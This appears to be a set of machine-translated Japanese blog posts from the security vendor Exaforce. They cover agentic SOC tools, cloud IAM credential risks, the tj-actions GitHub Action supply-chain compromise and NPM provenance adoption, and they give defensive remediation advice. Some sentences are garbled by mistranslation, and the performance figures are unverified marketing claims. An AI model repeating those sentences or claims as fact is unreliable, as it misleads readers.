エージェント型SOCソリューションに関する最大の誤解の1つは、セキュリティ専門家を仕事から遠ざけ、セキュリティインシデントおよびイベント管理（SIEM）ツールなど、最も使い慣れたツールの一部に取って代わってしまうというものです。これは正確ではありません。実際、人間、SIEM、エージェントは正確ではありません。 SOC ソリューションは組み合わせて使用するとより効果的です。

セキュリティプロフェッショナルは、効果的なエージェント向けSOCツールを使用することでメリットを得られます。新製品は面倒な作業負荷を最小限に抑えることができ、アラートのトリアージと調査の実施に費やす時間が大幅に短縮され、レベルを上げて上位層の調査や対応タスクに集中できる時間が増えます。

SIEMは何十年も前から存在しており、どこにも行きません。エージェントのSOCソリューションでは、大量の履歴データや背景情報を収集して、推奨事項や回答を導き出すことができます。エージェント向けSOCツールの中には、データポイントに推論とアクションを追加するものもありますが、効果を維持するにはSIEM内のコンテキストにアクセスする必要があります。

コンテキストは見過ごされがちです。

ワークロードの最小化についての会話では見過ごされがちですが、エージェントAIの見過ごされがちな側面は、サードパーティのシステムと連携して動作する能力です。こうしたサードパーティーのツールやデータソースには微妙なインターフェイス、データスキーマ、操作があり、エージェントはツールの仕組みに関する深いコンテキスト知識がないと誤解してしまう可能性があります。AI エージェントには、データへの十分なアクセス、ワークフローの可視性、強力なフィードバックメカニズム、環境コンテキストを備えた緊密な統合が必要です。

ディープコンテキストを有効にすることを見落とした場合、エージェント AI ツールはタスクを削除するのではなく、ToDo リストにタスクを追加できます。たとえば、ソリューションがアラートをトリアージして推奨事項を提示した場合、収集されたデータには透明性が保たれますか？そのデータの透明性を得るには、別のシステムを経由する必要があるのでしょうか。それはチームにとって仕事が増えるということでしょうか？コンテキストのレベルと導入後の微調整を自動化することの重要性は、依然として見過ごされがちです。

ベンダーは、製品の真の価値を証明できるPOCを提供していません。

混雑したブースや派手なバナーがいたるところにありましたが、ブースのデモは、ベンダーが提供する最高の機能を紹介するために最適化されています。製品をユーザー自身の環境にデプロイしても得られるような洞察を提供することはできません。

エージェント型AI SOCツールに対するベンダーの主張は、時間と費用の節約から、エージェントが意思決定を行い、自律的に実行することまで多岐にわたりました。概念実証 (PoC) は、これらの主張が企業の SOC の条件下でも成り立つかどうかを検証するのに役立ちます。このツールは会社の特定のデータ量やアラートタイプで動作できますか？組織の事業運営に不可欠な技術スタック内のツールと統合できるか?

多くの人が、「POCは新しいものではない。価値があることはわかっている」と思うかもしれません。確かに、現在の経済情勢と相まって AI エージェントがセキュリティの専門家に取って代わるという誤解は、紙による評価を支持する PoC で鎮めることができるという懸念を増しています。アナリストに製品をテストし、代替品ではなく役立つことを確認する機会を与えることは、ユーザーと製品、従業員、投資意思決定者の間の信頼を築くのに大いに役立ちます。

PoCを実施し、迅速なイノベーションのために多額の投資をすぐに行いたいという衝動を抑えることで、チームはSOCのリスク選好度や運用上の微妙な違いに合わせて、ツールのロジック、ポリシー、閾値を微調整できます。

ですから、どんな新しいテクノロジーでも、私たちは必ず誇大広告のサイクルを巻き起こします。新製品の真の価値を見出すには、試乗して高い水準を維持し、約束を果たすことが必要です。結果が正確で、情報源が透明で、データがすぐにアクセスできること、組織の成功に不可欠なチームやツールの運用を補完するものであることを確認してください。

セキュリティ調査は何年もの間中断されてきました。問題は目新しいものではありません。

• コンテキストのないアラートにより、アナリストは関連データをすべて収集しようと精査することになります。
• クラウドに関する知識の不足-アナリストは専門知識のない問題を優先順位付けせざるを得ない
• 時間がかかり、煩雑で、何時間もかかる調査
• 高度なクエリ、ログ解析などのシステムニュアンスに関する専門知識の欠如
• 疲労やミスの原因となる大量のアラート

どのSOCチームも痛みを感じています。変化したのは、防御する環境の規模と複雑さです。クラウドネイティブアーキテクチャ、サードパーティ SaaS のスプロール化、ID の複雑さ、 絶えず進化する脅威。静的なルール、ダッシュボード、あらかじめ用意されたプレイブック、SIEM クエリの伝統にはついていけません。

Exaforceでは、新しい道を切り開いています。

組み合わせる AI ボット （「エクサボット」と呼ばれる）と 高度なデータ探索 セキュリティ業務をより速く、よりスマートに、そして根本的にスケーラブルにするためです。当社のプラットフォームは、お客様のクラウド環境と SaaS 環境を行動レベルで把握し、ログ、構成、ID、アクティビティを統一されたコンテキストグラフにまとめます。そこから、当社のタスク固有のExabotsが引き継ぎ、アラートの優先順位付け、調査の質問への回答、脅威ハンティングを、正確かつ証拠に基づいて自律的に行います。

その結果は？明確な説明と実用的なインサイトが得られ、ログを調べたり、他のチームを待ったりするのにかかる時間が減りました。

次のセクションでは、調査がまだ失敗している主な5つの理由と、ExaforceがSOCのためにそれらの問題をどのように解決するかを確認します。

1。コンテキストが不十分:「このアラートって何？」

ほとんどのアラートは、最小限のテンプレート化された説明でSIEMに表示されます。なぜ起動したのか？どういう意味？どのような影響が及ぶ可能性があるか。すべてのアラートに詳細な説明、証拠、および調査手順書が付属しているのが理想的です。実際には、ほとんどのチームにはこれを書いたり管理したりする時間がありません。異常アラートでさえ不十分な場合が多く、予想される動作との明確な比較ではなく、未加工のログを表示することになります。たとえば、AWS GuardDuty アラートには「珍しい」や「確立されたベースラインとは異なる」などの一般的な用語が表示されます。分析や確認に役立つ詳細な情報は含まれていないため、異常な動作が何であったか、何が正常であったかを理解するには、必然的に追加のデータや検索が必要になります。

エクサフォースのアプローチ:

• すべてのアラート（当社またはサードパーティ）には、以下の説明が付いています なぜ 発砲した英語は「イージーモード」ですぐに理解できます。「ハードモード」では、より深く掘り下げたい人のために、すべてのデータの詳細が表示されます。
  
• 結論を裏付けるデータが明確に示されているため、具体的な証拠が得られます。
  
• アラートは複数のソースからのデータで自動的に強化されるため、SOARプレイブックは不要です。
  
• すべての調査結果には、調査または改善を開始するための「次のステップ」が含まれています。
  
• 重複するアラートや類似したアラートは、重複した処理が行われないように、すぐにグループ化されます。
  

Exaforceは、ざっと見ているか精査しているかにかかわらず、自信を持って行動するために必要なコンテキストを提供します。

2。クラウドに関する知識の欠如:「私たちはクラウド運用ではなく SOC です。」

ほとんどのSOCアナリストは、ネットワークセキュリティのバックグラウンドを持っています。今では、IAM チェーン、設定ミス S3 バケット、GitHub 権限に関するクラウドアラートをトリアージすることが期待されています。一方、実際のクラウドチームや DevOps チームはまったく別の組織に所属していることが多く、コラボレーションが遅く厄介です。たとえば、なぜユーザー A が危険なアクションを実行できたのかわからない場合などです。AWS ID チェーンの仕組みに慣れていませんか?問題ありません。ユーザーが持つ有効な権限を要約し、詳細を知りたい場合は、そのユーザーがどのように取得したかの ID チェーン全体を示します。

エクサフォースのアプローチ:

• エクサボット 組み込みの AI クラウドエキスパートとして、自然言語でアラートを説明します。
  
• 全域で機能します クラウドと SaaS AWS、GCP、Okta、GitHub、GoogleWorkspace などのソース。
  
• より深いダイビングには、 「調査」タブ 技術的なコンテキストをすべて提供するため、DevOps やエンジニアリング部門への引き継ぎに最適です。
  
• 私たち セマンティックグラフビュー ユーザ、ロール、リソースがどのように結びついているかを示しているため、アナリストはアイデンティティの動作をテキストだけでなく視覚的に理解できます。
  

クラウドに関する知識のギャップを埋め、クラウドの複雑さを明確にします。

3。調査の時間:攻撃は迅速ですが、調査は迅速ではありません。

1 つのアラートの調査には、コンソール間を行き来したり、クエリを書いたり、上級アナリストと確認したり、さまざまなシステムからコンテキストを収集したりするのに数時間かかる場合があります。これに毎日のアラートの量を掛けると、調査は対応パイプライン全体における最大のボトルネックになります。

エクサフォースのアプローチ:

• エクサボットがトリアージを処理 5 分未満、セマンティックコンテキストを使用して、裏付けとなる証拠を含む結論を導き出します。
• そして、質問があれば？ただ マスクエクサボット—Slackメッセージも作成するダッシュボードも遅延もありません。

手抜きをすることなく、調査時間を数時間から数分に短縮しました。

4。専門知識の欠如:SQL の忍者である必要はありません。

調査には従来、どのログを調べるべきか、どのように構造化されているか、何が「普通」か、適切なクエリ言語で適切な質問をする方法など、深い知識が必要でした。ほとんどのジュニアアナリストはそのような専門知識を持っておらず、ほとんどのチームには役立つドキュメントがありません。

エクサフォースのアプローチ:

• Exabotは複雑な質問に平易な言葉で答えます。構文は必要ありません。
• 詳細を知りたいですか？すべてのアラートには特注が付属しています 調査キャンバス—アナリストが尋ねるすべての質問と、それぞれに対するデータ量の多い回答がプリロードされています。
• 当社のセマンティックデータモデルはログデータを事前に強化して構造化するので、アナリストは重要なものを必要なときに把握できます。豊富なデータ、結合されたデータ、整理されたデータ、コンテキスト化されたデータが、すぐに手に入ります。
• 部族の知識には通常含まれている行動のベースライン、パターン、オーナーシップに関する洞察が浮かび上がります。
  

このような一般的な AWS GuardDuty アラートでも、アナリストは、ルート ID が誰であるかを理解し、同じ期間の他のログをクエリし、それらのログを解析してアクセスされたリソースの固有のリストを探し、クエリを拡張して同じリソースの他のユーザーを対象としてベースラインを確立し、ユーザー、アクション、場所、およびリソースの「通常の」動作を理解するための統計分析を構築する必要があります。しかし、Exaforce ではそうではありません。

クエリ言語をマスターしたり、ログパーサーを管理したり、カスタムダッシュボードを作成したりしなくても、チームの誰もがプロのように調査できるようになりました。

5。アラートが多すぎる:バーンアウトシティへようこそ。

チームには何千ものアラートが届き、そのほとんどが誤検知（85% 以上）です。アナリストは感度が低下し、脅威のシグナルを見逃してしまい、トリアージはセキュリティプロセスではなくボックスチェックの作業になってしまいます。(セキュリティの第一人者、アントン・チュヴァキン氏による、アラート疲労問題に関する優れた分析:https://medium.com/anton-on-security/antons-alert-fatigue-the-study-0ac0e6f5621c)

エクサフォースのアプローチ:

• エクサフォース 自動的に トリアージ アラートの大部分。
  
• 重複アラートと関連するアラートは 一緒にグループ化 そのため、一度処理できます。
  
• アナリストは、次のことにのみ焦点を当てています シグナルが強く、影響の大きい調査結果 それには人間の洞察力が必要なのです
  

騒音をカットするので、チームは消防に費やす時間を減らし、より多くの時間を確保できます。

最終的な考え：再考された調査

問題は新しいものではありません。しかし、解決策はあります。

Exaforceを使用すると、インテリジェントなボットと、直感的で視覚的で会話ができる高度なデータインターフェイスにより、より優れた調査アプローチが可能になります。

‍

‍

Exaforceでは、最初の設計パートナーと協力してSOCチームの人的負担を軽減する中で、現在のクラウド利用パターンに関する貴重な洞察を得ています。これにより、より大規模で動的な脅威対象領域が明らかになっています。多くの組織がCSPM、SIEM、SOARなどの堅牢なセキュリティツールに投資していますが、これらのソリューションでは、進化する行動やリアルタイムの脅威の微妙な違いを見逃すことがよくあります。

ユースケース:長期認証情報を持つ単一の IAM ユーザーが複数の場所からアクセスする

デバイス製造会社は、デバイスのテスト、テレメトリ収集、地理的に異なる地域の複数の工場にわたるメトリック収集などのさまざまなタスクを、長期にわたる認証情報を持つ1人のIAMユーザーに依存しています。この統合された ID は、さまざまなオペレーティングシステム (Linux、Windows など) や環境で使用されているため、リスクが増大します。

脅威ベクトルと監視に関する推奨事項

このような設定に伴うリスクを軽減するには、以下の優先措置による継続的な脅威監視に重点を置いてください。

1. IP 許可リスト

• 工場ごとに許可されるIPアドレスのリストを定義して適用します。
• 権限のないIPからのアクセス試行について警告します。
• ツール:AWS はポリシー条件を使用しています。以下は CIDR 192.0.2.0/24、203.0.113.0/24 以外をすべて拒否する例です。

2。リソースアクセス監視

• IAM ユーザーがアクセスするリソースを継続的に監視し、ログに記録します。
• アクセスパターンを、各ファクトリまたはタスクの予想される動作と相関させます。
• ツール:クラウドトレイルログと統合されたSIEMプラットフォーム。

3。定期的な資格ローテーション

• 長期認証情報を定期的にローテーションする厳格なポリシーを実装してください。
• トークンのローテーションを自動化し、異常なローテーション遅延が発生した場合のアラートを統合します。

4。ユーザーエージェントとデバイス検証

• ユースケースごとに、受け入れ可能なユーザーエージェント（LinuxやWindows Serverなどの特定のOSバージョンなど）の事前定義済みリストのみを特定して許可します。
• 予期しないオペレーティングシステム (承認されなかった場合は macOS など) からのアクセスなどの異常を報告します。
• ツール:EDRとAWSクラウドトレイルのログを相互に関連付け、検出を生成するためのSIEMプラットフォーム

ユースケース:GitHub パイプラインの長期的な IAM ユーザー認証情報

当社の SaaS プロバイダーパートナーの 1 社は、長期的な AWS IAM ユーザー認証情報を静的な GitHub Actions CI/CD パイプラインに直接使用して、自動化スクリプトで AWS にサービスをデプロイできるようにしています。この慣行は重大なセキュリティリスクをもたらします。CI/CDパイプラインに保存された認証情報は、最近Sisense（2024年4月）とTINACMS（2024年12月）で見られたように、偶発的な漏洩や外部からの侵害によって簡単に公開される可能性があり、攻撃者はクラウドへの不正アクセス、権限の昇格、機密データの漏洩が可能になります。

脅威ベクトルと監視に関する推奨事項

このアンチパターンに関連する脅威を監視および検出するには、以下の優先対策を検討してください。

1。認証情報使用状況の監視

• IAM ユーザーアクティビティを継続的に監視し、異常なアクセスパターン、リージョンのシフト、権限昇格の試みなどの異常なアクションについてアラートを設定します。
• ツール:クラウドトレイルログと統合されたSIEMプラットフォーム。

2。定期的な資格ローテーション

• 長期認証情報を定期的にローテーションする厳格なポリシーを実装してください。
• トークンのローテーションを自動化し、異常なローテーション遅延が発生した場合のアラートを統合します。

修復:OIDC による有効期間の短い認証情報

GitHub Actions の OpenID Connect (OIDC) 統合に移行すると、長期的なキーを埋め込む代わりに一時的な認証情報が有効になり、リスクにさらされるリスクを最小限に抑えることができます。

マルチアカウント環境での権限セットの非効率的な使用

クラウドファーストの SaaS プロバイダーが AWS 権限セットを悪用して、機密性の高い権限セットやポリシーが定義されている管理アカウントに、メンバーアカウント間で正しくプロビジョニングするのではなく、直接アクセスをプロビジョニングしています。この設定ではポリシー管理が複雑になり、管理アカウントはほとんど監視されないままになり、本番環境やステージングに影響が及ぶ前にアイデンティティの脅威が出現する盲点が生じます。

脅威ベクトルと監視に関する推奨事項

1。管理アカウントアクティビティの監視

• AWS ツール:CloudTrail ログと統合された SIEM ツールを使用して、管理アカウントのすべてのIAMとポリシーの変更を監視します。権限セットやクロスアカウントロールの引き受けが変更されると、検出によってアラートがトリガーされるはずです。

2。信頼関係の設定ミス:

• クロスアカウントロールの信頼ポリシーを監査し、継続的に検証して、意図したアクセスのみが許可されるようにします。
• ツール:承認された設定からの逸脱にフラグを付けるための AWS Config ルール。

3。ポリシーのドリフトと不正な変更:

• 権限セットと関連するIAMロールの自動定期レビューを実装します。これにより、ドリフトや不正な変更を迅速に検出して修正できます。
• ツール:クラウドトレイルログと統合された SIEM ツール。

第三者に委任されたルートユーザーアクセス

ルートユーザーアクセスを AWS の請求と管理のために第三者に委任することはリスクが低いように思えるかもしれませんが、会社が最も権限の高いアカウントを直接監視できなくなってしまいます。長期パスワードや MFA トークンなどのルート認証情報が外部で管理されている場合、リスクは劇的に高まります。第三者が侵害されたり、制御を誤って管理したりすると、攻撃者は AWS 環境全体に無制限にアクセスできる可能性があります。

脅威ベクトルと監視に関する推奨事項

1. 不正なルートアクティビティの監視

• CloudTrail と SIEM アラートですべての root ユーザーアクションを監視し、異常な動作がないか確認します。
• ツール:クラウドトレイルログと統合された SIEM ツール。

2. 第三者による妥協

• 第三者のアクセスとセキュリティ体制を定期的に監査する
• ツール:ID アクセス管理ツール。

修復:一元化されたルートアクセス

ルートアクセスを削除し、以下を使用してルートアクセスを一元管理するように移行することで修正します ルートを引き継いだは、特権タスク用の短期認証情報を発行します。

お問い合わせ Exaforceがこれらの課題にどのようにExabotsを活用しているかを学びます。

企業がデジタルフットプリントを拡大し、AIがビジネスのさまざまな側面で主流になるにつれて、攻撃対象領域は拡大し続けています。一方、CISOとCIOは防御に苦慮し続けています。彼らは皆、セキュリティオペレーションセンター（SOC）の効率性、生産性、拡張性を高めることを望んでいます。

数年前、私たちの何人かはF5とPalo Alto Networksで、グローバル銀行、主要なソーシャルメディアネットワーク、ビデオコラボレーションプラットフォーム向けのミッションクリティカルなアプリケーションとクラウドサービスを擁護していました。私たちは、国家から組織犯罪に至るまで、高度なサイバー脅威がお客様の防御を絶えず調査しているのを目の当たりにしました。限られた人材で24時間365日の厳格なSLAを満たすことは困難な戦いであり、当社のSOCチームはたゆまぬ努力を続けました。どんなにうまくいったとしても、私たちは常に反応していて、真に前進することは決してないような気がしました。

同時に、創設チームの他のメンバーもGoogleで大規模言語モデル（LLM）を開拓していました。彼らの主な焦点は、これらのフロンティアモデルからのアウトプットの品質と一貫性を向上させることでした。AI は人間の作業を自動化する大きな可能性を秘めていましたが、短期記憶の長期記憶、推論の一貫性、非常に大規模なデータセットの分析コストなど、内在する欠陥がいくつかありました。

私たちは共に、セキュリティと運用の問題は、より多くの人を雇用したり、より大きな基盤モデルやより小さなセキュリティ固有のモデルを構築したりしても解決できないという同じ結論に達しました。解決策には、根本的に再考する必要があります。

魔法の組み合わせ:人間+ボット

Exaforceは、人間が行うタスクを10倍高速化するという1つの目標を掲げて設立されました。そして、企業のセキュリティと運用ほどこの作業が複雑な場所はありません。私たちは、「Exabots」と呼ばれるタスク専用の AI エージェントと高度なデータ探索を活用して、この目標に向かって大きな進歩を遂げました。私たちはこのプラットフォームを次のように考えています。 エージェンシー SOC プラットフォーム。Exabotsの構想段階からの目標は、自動化を支援することでした。 難しい タスク。デモで見かけるような単純なタスクやスキルの低いタスクではありません。

過去18か月間、私たちは設計パートナーと協力して、SOCアナリスト、検出エンジニア、脅威ハンターを支援するExabotsのトレーニングを行ってきました。Exabotsは、アラートを自動トリアージし、重要なクラウドサービスにおける侵害を検出し、脅威ハンティングのプロセスを簡素化することで、それらを強化しています。有効性と監査性が大幅に向上したことに加え、日常業務が最大 60 倍にスピードアップしています。

私たちの電球の瞬間:マルチモデル AI エンジン

Google の元チームは、セキュリティ侵害の検出に必要なコストポイントを満たしながら、脅威アラートのヒューマングレード分析に必要な一貫性のある推論を実現したり、すべてのランタイムイベントの分析を行ったりできる基盤モデルはないことを初日から知っていました。その結果、過去 18 か月間に開発してきた 3 種類の AI モデルを組み合わせた新しいマルチモデル AI エンジンを構築して、まったく新しいアプローチを革新する必要がありました。

• セマンティックモデル：ランタイムイベント/ログ、クラウド構成、コード、IDデータ、脅威フィードをヒューマングレードで理解できます。
• ‍行動モデル: アクション、アプリケーション、データ、リソース、アイデンティティ (人間と機械)、場所などのパターンを学習します。‍
• ナレッジモデル: このデータに基づいて推論を行い、動的に生成されたワークフローを実行し、ITSM内の過去のチケットを分析するLLM (例:Jira、ServiceNow)。

これらのモデルが組み合わさると、LLMのみのアプローチに内在する欠点（長期の短期記憶、推論の一貫性、非常に大規模なデータセットにわたる推論のコスト）が完全に調和して機能することになります。このAIエンジンは、業界でも類を見ないコストポイントですべてのデータを分析できるだけでなく、ヒューマングレードの分析も行えます！

主要投資家による支援：シリーズAで7,500万ドル

本日、Khosla VenturesとMayfieldが主導する7,500万ドルのシリーズA資金調達を発表できることを嬉しく思います。Thomvest、Touring Capitalなどは、今日の勤勉なサイバープロフェッショナルを一貫して確実に機能するAIで強化するという私たちの信念を共有しています。

この投資により、研究開発への投資を拡大してマルチモデルAIエンジンを改良したり、Exabotsがますます複雑なタスクを実行できるようにトレーニングしたり、エージェントSOCがどのようにセキュリティ業務を変革できるかを知りたいと考えているより多くの設計パートナーを参加させたりすることができます。

SOCの未来を垣間見る

Exaforceにより、設計パートナーはSOCチームにすでに多くのメリットをもたらしています。

• より高い効能: 既存の社内SOCや外部パートナー（MSSPおよびMDR）よりも、複雑な脅威の調査における一貫性と品質がはるかに高い
• 生産性の向上: 既存のSIEM/CDRソリューションと比較して、クラウドサービスに対する複雑な脅威の検出と対応がはるかに迅速に行えます。
• スケーリングコストが低い：困難で面倒なタスク（データ収集、分析、ユーザーとマネージャーの確認、チケット分析など）の自動処理と、人員を増やしたり、MDR/MSSPとの新規契約を結んだりすることなく、オンデマンドで防御を拡張できます

何が何なのか見てみよう ウォール・ストリート・ジャーナル 私たちの資金調達について言わなければなりません！

次は何

私たちは会社を立ち上げることにとても興奮していますが、私たちの旅はまだ始まったばかりです！今後もより多くのデザインパートナーと協力して、対象範囲を拡大し、AI ワークフローを改善し、人間が常にコントロールできるようにしていきます。私たちの目標は、AIが忙しい仕事を処理し、人間が真の脅威に集中できるSOCを構築することです。これにより、結果の一貫性が高まり、対応が迅速になり、TCOが削減されるセキュリティ環境を構築できます。

超人的なアナリスト、検出エンジニア、または脅威ハンターで構成されるSOCが必要な場合- デモをリクエストする もっと学ぶために。力を合わせれば、SOCの未来を築くことができます！

2025年3月14日以来、Exaforceは、設計パートナーがGithubを通じてソフトウェアサプライチェーンへの重大な攻撃を克服できるよう支援してきました。設計パートナーがクラウドデプロイメントに対して経験した大規模な攻撃は、過去 6 か月間で 2 回目です。このようなパートナーに価値を提供できたことに感謝しています。

何が起きたの？

2025 年 3 月 14 日、セキュリティ研究者は、広く使われている GitHub Action の tj-actions/changed-file で異常なアクティビティを検出しました。このアクションは、主にリポジトリ内の変更されたファイルを一覧表示することを目的としていましたが、サプライチェーンが巧妙に侵害されました。攻撃者は、悪意のあるコミットを介して、タグ付けされたほぼすべてのバージョンに悪意のあるコードを挿入しました (0e58ed8671d6b60d0890c21b07f8835ace038e67)。

悪意のあるペイロードは、APIキー、トークン、認証情報などの機密性の高いCI/CDシークレットを、公開されているGitHub Actionsビルドログに直接出力するように設計された、base64でエンコードされたスクリプトでした。パブリックリポジトリは特に脆弱になり、誰でもこれらの公開された秘密を盗み取れる可能性がありました。

攻撃者は、侵害されたコミットを指すようにバージョンタグをさかのぼって更新しました。つまり、ピン留めされたタグ付きバージョン（特定のコミットSHAによってピン留めされていない場合）でも脆弱でした。このスクリプトは秘密を外部サーバーに漏らしたわけではありませんが、公開してしまったため、重大な脆弱性が引き起こされました。 CVE-2025—30066。

デザインパートナーを支援した方法

Exaforce Platformを活用して、侵害されたアクションを使用しているすべての顧客リポジトリとワークフローを迅速に特定しました。分析には以下が含まれます。

顧客アカウント全体のリポジトリとワークフローをすばやく照会できます。

侵害されたワークフローによって使用される影響を受けるシークレットを特定します。

• これらの調査結果と推奨される是正措置を、影響を受けるお客様に直接伝えます。

当社のセキュリティチームは、影響を受けた特定のワークフローの詳細を顧客に事前に伝え、侵害されたシークレットを直ちにローテーションするよう指導しました。

あなたは何をすべきか?

以下の検索 URL を使用して、影響を受けるリポジトリを探してください。この文字列を <Your Org Name>Github の組織名に置き換えてください。

https://github.com/search?q=org%3A <Your Org Name>+tj-Actions%2FChanged-Files+&type=Issues

ワークフローに tj-actions/changed-files が含まれている場合は、すぐに行動を起こしてください。

• アクションの使用をすぐに停止:すべてのブランチのワークフローからすべてのインスタンスを削除します。
• レビューログ:2025 年 3 月 14 日から 15 日まで GitHub Actions のログを調べて、漏洩したシークレットがないか調べてください。特に公開リポジトリでは、ログに記録されたすべてのシークレットが侵害されていると想定してください。
• シークレットのローテーション:漏洩する可能性のあるすべての認証情報 (API キー、トークン、パスワード) を即座にローテーションします。
• 代替手段に切り替える:検証済みの安全なバージョンが利用可能になるまで、安全な代替手段またはインラインファイル変更検出ロジックを使用してください。

学んだ教訓

この侵害は、ソフトウェアサプライチェーンに内在する重大な脆弱性を浮き彫りにしました。第三者の行動に頼るには厳格なセキュリティ対策が必要です。

• サードパーティの GitHub Actions をピン留めして、バージョンではなく SHA をコミットする

• 可能な限り、サードパーティのアクションに頼るのではなく、ワークフロー内でネイティブの Git コマンドを使用できます。これにより、外部への依存関係が回避され、サプライチェーンのリスクが軽減されます。
• 最小限スコープのトークン (GITHUB_TOKENなど) を使用して権限を制限します。
• 監査ログ、アクションログの有効化、詳細なリソース情報の取得など、継続的なランタイムモニタリングを実施して、異常な動作を迅速に検出し、包括的な調査を促進します。

これらのベストプラクティスを採用することで、組織は侵害されたサードパーティのソフトウェアコンポーネントによってもたらされるリスクを大幅に減らすことができます。

当社にご連絡ください contact@exaforce.com GitHubやその他のデータソースをサプライチェーンの侵害やその他の脅威から保護する方法を理解したい場合。

最近のセキュリティ インシデント 人気者を巻き込む 宝くじプレイヤー 図書館は、NPMエコシステムのセキュリティの脆弱性を改めて浮き彫りにしました。NPM は出自証明のような強固なセキュリティ機能を提供していますが、ダウンロードされるパッケージの多くはこうした重要なセキュリティ対策を利用していません。

NPM プロビナンスとは何ですか?

NPM Provenance は、公開されたパッケージとそのソースコードリポジトリとの間に検証可能な接続を作成するセキュリティ機能です。 導入された 去年。有効にすると、パッケージが GitHub Actions または Gitlab ランナーを使用して特定の GitHub リポジトリコミットからビルドされたことを暗号で証明できます。これにより、悪意のある攻撃者が人気のあるパッケージの侵害版を公開してしまうようなサプライチェーン攻撃を防ぐことができます。ただし、このセキュリティはビルド環境自体の整合性に依存していることに注意することが重要です。GitHub/GitLab アカウントや CI/CD パイプラインが侵害された場合でも、悪意のあるコードの出所証明書が生成される可能性があります。そのため、強力なアクセス制御、監査ログ、定期的なセキュリティレビューによってソース管理と CI/CD インフラストラクチャを保護することが依然として重要です。

人気のNPMパッケージの現状

最もダウンロード数の多い NPM パッケージと、その出所状況を調べてみましょう。

その中で 2,000 で最もダウンロードされたパッケージ JSDelivr、 205 パッケージにはパブリックGitHubリポジトリがあり、GitHubワークフローを使用してnpmに直接公開します。ただし、 26 (12.6%) これらのパッケージのうち、どこでどのようにパッケージがビルドされたかを検証するセキュリティ機能であるプロビナンスを有効にしています。GitHub のワークフローにこのような段階的な変更を加えることは、コミュニティ全体のセキュリティを大幅に向上させることになるでしょう。

NPM のセキュリティモデルにおける重大なギャップ

サーバー側の制限事項

NPM レジストリには現在、重要なサーバー側の強制メカニズムがありません。

1。出所は必須ではありません

• パッケージは認証なしで公開できます
• 特定のパッケージや組織に出所要件を強制する方法はない
• レジストリは検証の有無にかかわらずパッケージを受け入れます

2。ポリシーコントロールが欠けている

• 組織はパッケージ公開の要件を設定できません
• git branch protection のように特定のパッケージ名やパターンの出所を強制する機能はない
• ビルドソースの信頼性の自動検証なし

3。バージョンコントロール

• 出所が一致しないとバージョン更新を防ぐメカニズムがない
• メジャーバージョン更新に対してより厳しい要件を課すことはできません

クライアント側の検証ギャップ

npm/yarnクライアントツールには、重要なセキュリティ制御もありません。

1。インストールプロセス

2。セキュリティ機能が欠けている

• 出所情報を必要とする組み込みフラグはありません
• 組織全体に認証ポリシーを適用できない
• 単一パッケージ認証を検証する方法がない

3。パッケージ.json の制限事項

ザ・ロッティ・プレイヤー・インシデント

最近の妥協案は 宝くじプレイヤー 図書館は、何がうまくいかないかをはっきりと思い出させてくれます。攻撃タイムライン:

1. 攻撃者がメンテナの NPM アカウントにアクセスした
2. パッケージの悪質なバージョンを公開しました
3. ユーザーは、ピン留めされていない依存関係の更新と直接の CDN リンクを通じて、侵害されたバージョンを自動的に受け取りました。
4. 影響を受けるシステムで悪質なコードが実行される

出自証明がレジストリまたはクライアントレベルで実施されていれば、この攻撃は防げたはずです。

Provenance を使用するパッケージが増えないのはなぜですか?

NPM Provenanceの採用率が低い理由には、以下のようないくつかの要因があります。

1. 認識のギャップ:多くのメンテナはこの機能に慣れていない
2. 実装オーバーヘッド:GitHub Actions ワークフローの変更が必要
3. レガシーシステム:既存のビルドパイプラインには大幅な更新が必要な場合があります
4. 誤った安心感:2FAのような他のセキュリティ対策への依存
5. 執行の欠如:レジストリ要件が欠けているため、導入を迫られることはない

に 出所を有効にする NPM パッケージの場合:

<script src="https://gist.github.com/pupapaik/9cc17e02a0b204281a5c14d8bc56aabb#file-npm-publish-workfow-yaml.js"></script>

または、パッケージ.jsonで実行してください

<script src="https://gist.github.com/pupapaik/fc640fbadf4581ad92b2143c7391e791#file-package-provenance-json.js"></script>

パッケージの出所確認

npm コマンド audit はパッケージの完全性と信頼性をチェックできますが、個々のパッケージを検証することはできません。一度に検証できるのは、プロジェクト内のすべてのパッケージだけです。

NPM の認証が無効です

npm CLIはこれを行う簡単な方法を提供していないので、簡単な方法を書きました 脚本 個々のパッケージの整合性と認証を確認します。このスクリプトを使うと、各パッケージを簡単に検証できます。

このスクリプトは、クライアント側の GitHub Workflow で使用することも、アップストリームパッケージの認証を継続的にチェックするための監視ツールとして使用することもできます。

クライアント側スクリプトの整合性検証

NPM Provenanceはパッケージエコシステムの保護に役立ちますが、CDNリンクを介してJavaScriptを直接読み込むWebアプリケーションには追加のセキュリティ対策が必要です。は サブリソースインテグリティ (SRI) メカニズムは、外部からロードされたリソースの暗号化検証を行います。Lottie-Player による攻撃は、一般的でありながら危険な行為が 3 つあり、特に壊滅的な被害をもたらしました。

1。最新のタグを使う

2。整合性チェックが行われていません

3。フォールバック戦略なし

SRIは、期待されるファイルコンテンツの暗号化ハッシュを提供することで機能します。ブラウザー:

1. リソースをダウンロードする
2. ハッシュを計算します
3. 指定されたインテグリティ値と比較します
4. 不一致がある場合は実行をブロックします

整合性チェックの検証に失敗すると、ブラウザはサンプルエラーを含むJavaScriptの実行を許可しません

エコシステムに関する推奨事項

1。パッケージメンテナ:

• 出自証明をすぐに有効にする
• README ファイルへの出自状況の文書化
• 自動化された検証済みのビルドには GitHub Actions を使う

2。パッケージユーザー:

• 新しい依存関係を追加する前に、出自状況を確認してください
• 出自が有効になっているパッケージを優先します。次のような Web サイトをチェックしてください。 トラスティPKG 活動、出所などに基づいてその信頼性を理解する
• 既存の依存関係を監視して来歴を把握する

3。プラットフォームプロバイダー:

• NPM レジストリ UI で出自状況をより見やすくする
• 出所を一括検証するためのツールを提供
• 影響の大きい荷物には出所を義務付けることを検討してください
• サーバー側の強制メカニズムの実装
• クライアント側検証ツールの追加

4。NPM レジストリ

• 組織レベルの出自要件を追加
• 人気のあるパッケージに必須認証を実装する
• 出自検証用の API エンドポイントの提供
• パッケージ承認プロセス/ワークフローを提供

結論

NPM エコシステムのセキュリティは、世界中の何百万ものアプリケーションに影響を与えます。現在、レジストリレベルとクライアントレベルの両方で強制メカニズムが欠如しているため、重大なセキュリティリスクが生じています。出自証明は可能ですが、体系的に実施できないため、エコシステムはサプライチェーン攻撃に対して脆弱なままになります。

